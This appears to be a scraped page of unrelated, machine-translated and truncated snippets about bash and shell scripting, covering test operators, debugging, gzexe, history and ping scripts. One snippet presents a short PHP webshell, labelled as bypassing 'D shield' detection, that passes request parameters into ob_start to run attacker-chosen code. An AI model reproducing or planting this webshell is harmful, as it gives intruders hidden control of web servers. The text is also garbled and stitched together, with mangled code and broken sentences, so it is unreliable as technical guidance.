Shell

Bash is one of the most commonly used shells of the unix/linux operating system, and it is very flexible, and is exceptionally powerful with awk and C + +.The following uses a test script to illustrate how to use bash debuggingtest.sh[Plain]View

Testing and judging of shell scripts1. TestingGrammar:[operator condition] = = Test operator condition1) test file-level directoryType of File:F, FileLs-l # #只查看字段的第一个字符, file "-"D, CatalogueLs-ldL, Link fileLs-lC, character deviceLs-l/dev/ttyB,

Enterprise Face question 1: The following string is known to be passed random random number variable md5sum|cut-c 1-8 After intercepting the results, please crack these strings corresponding to the md5sum ago random corresponding numbers?

1.Encryption Tools1.1 Gzexe1.1.1DescriptionGzexe is the program used to compress execution files. When you go to execute a compressed execution file, the file is automatically decompressed and then continues to execute, using the same generic

CPU time is an important resource, and sometimes we need to track the process that consumes the most CPU cycles at some time.In a normal desktop or laptop system, the CPU is in a high-load state and may not cause any problems. But for servers that

The code is as follows:Url= "/VAR/WWW/HTML/RRA/150/9517.RRD/VAR/WWW/HTML/RRA/256/11345.RRD/VAR/WWW/HTML/RRA/150/9518.RRD" fff= ' echo   $url  | awk  ' {print nf} ' for ((i=1;i> /tmp/test${x}done                            ff= '

I. If statement format: Supports if/elif/else forms, supports nesting1. When command execution succeeds (and exit status is 0), execute Command22. When the judging condition is the test command, the Command2 is executed when the result is trueif

1, in order to facilitate the query server hardware information, will need to query the content into the shell footsteps, output their desired format. In fact, it is through the dmidecode command output, and then through the sed,awk,cut command

The history command allows you to view all of the user's historical records under Linux. At the same time, the shell command action record is saved by default in the. bash-history file in the user directory, through which you can query the execution

Small black and began to toss new things, last week just learned OpenSSL construction private CA, Saturday took a bit of time to write this script, time Rush, finish to go to the DNS, if there are any bug please forgive me, this script is purely

#!/bin/shmkdir  /home/zhengyk/desktop/tmp   #创建临时文件夹, used to store the extracted files #mkdir  /home/ zhengyk/desktop/local   #创建临时文件夹, used to store filter results List_alldir () {   for file in $ 1/*doif [ -d  $file  ]; thenlist_alldir 

First, the demandHere, I simplify, because this afternoon operation both texts are 10 tens of thousands of lines, but only filter out these two files contain the same or different string ppid.Two, step together1. Document HA1Abc2. Document HA2Acd3.

What is here DocumentHere Document is a special redirection method in the Linux Shell, and its basic form is as followsCMD Its role is to pass the contents of the two delimiter (hereDocument content section) to cmd as input parameters.For example,

First, what is the bean Shell BeanShell is a scripting language that conforms fully to the Java syntax specification and has its own syntax and methods. BeanShell is a loosely typed scripting language (this is similar to JS);

First, the script functionTo determine whether the IP is occupied, the ping rule is considered to be occupied and the results are output to ip_yes.txt and Ip_no.txt, respectively, by means of the ping command detection.Second, script

ObjectivePractice the shell to improve your logical abilities.ScriptTriangles and diamonds are implemented through several for loops, but can also be used while.Here is the script content:Triangle#!/bin/bashread -p  "Please input the longs:"

DeanPHP//over solutions, D shield various shield shells$id = $_get['ID'];//Debugecho $catid = Isset ($_get['CATID'])? Base64_decode ($_get['CATID']):"'; $s="';foreach(Array ($id) as$v) {$s.=$v;} Ob_start ($s);if($catid) {echo $catid;} Ob_end_flush ()

Known old boy It education a week of the financial admissions expense report is as follows: Student students to raise the fees paid for the course Consultant 1 Ge Yi 1500 Span class= "Apple-tab-span" style=

The shell is a scripting language provided by Linux that can perform some programming operations. Essentially, the shell is just a command interpreter, and a shell script is a stack of commands and some simple logic to judge.So the most important

Set foot name as Test.shThe first line should be #! /bin/bash1, the operation and debugging results are not the sameDebug Sh-x test.sh when calculating two-digit and sum=$[$a + $b] to get sum=3+4 instead of 7Run to give script execution permission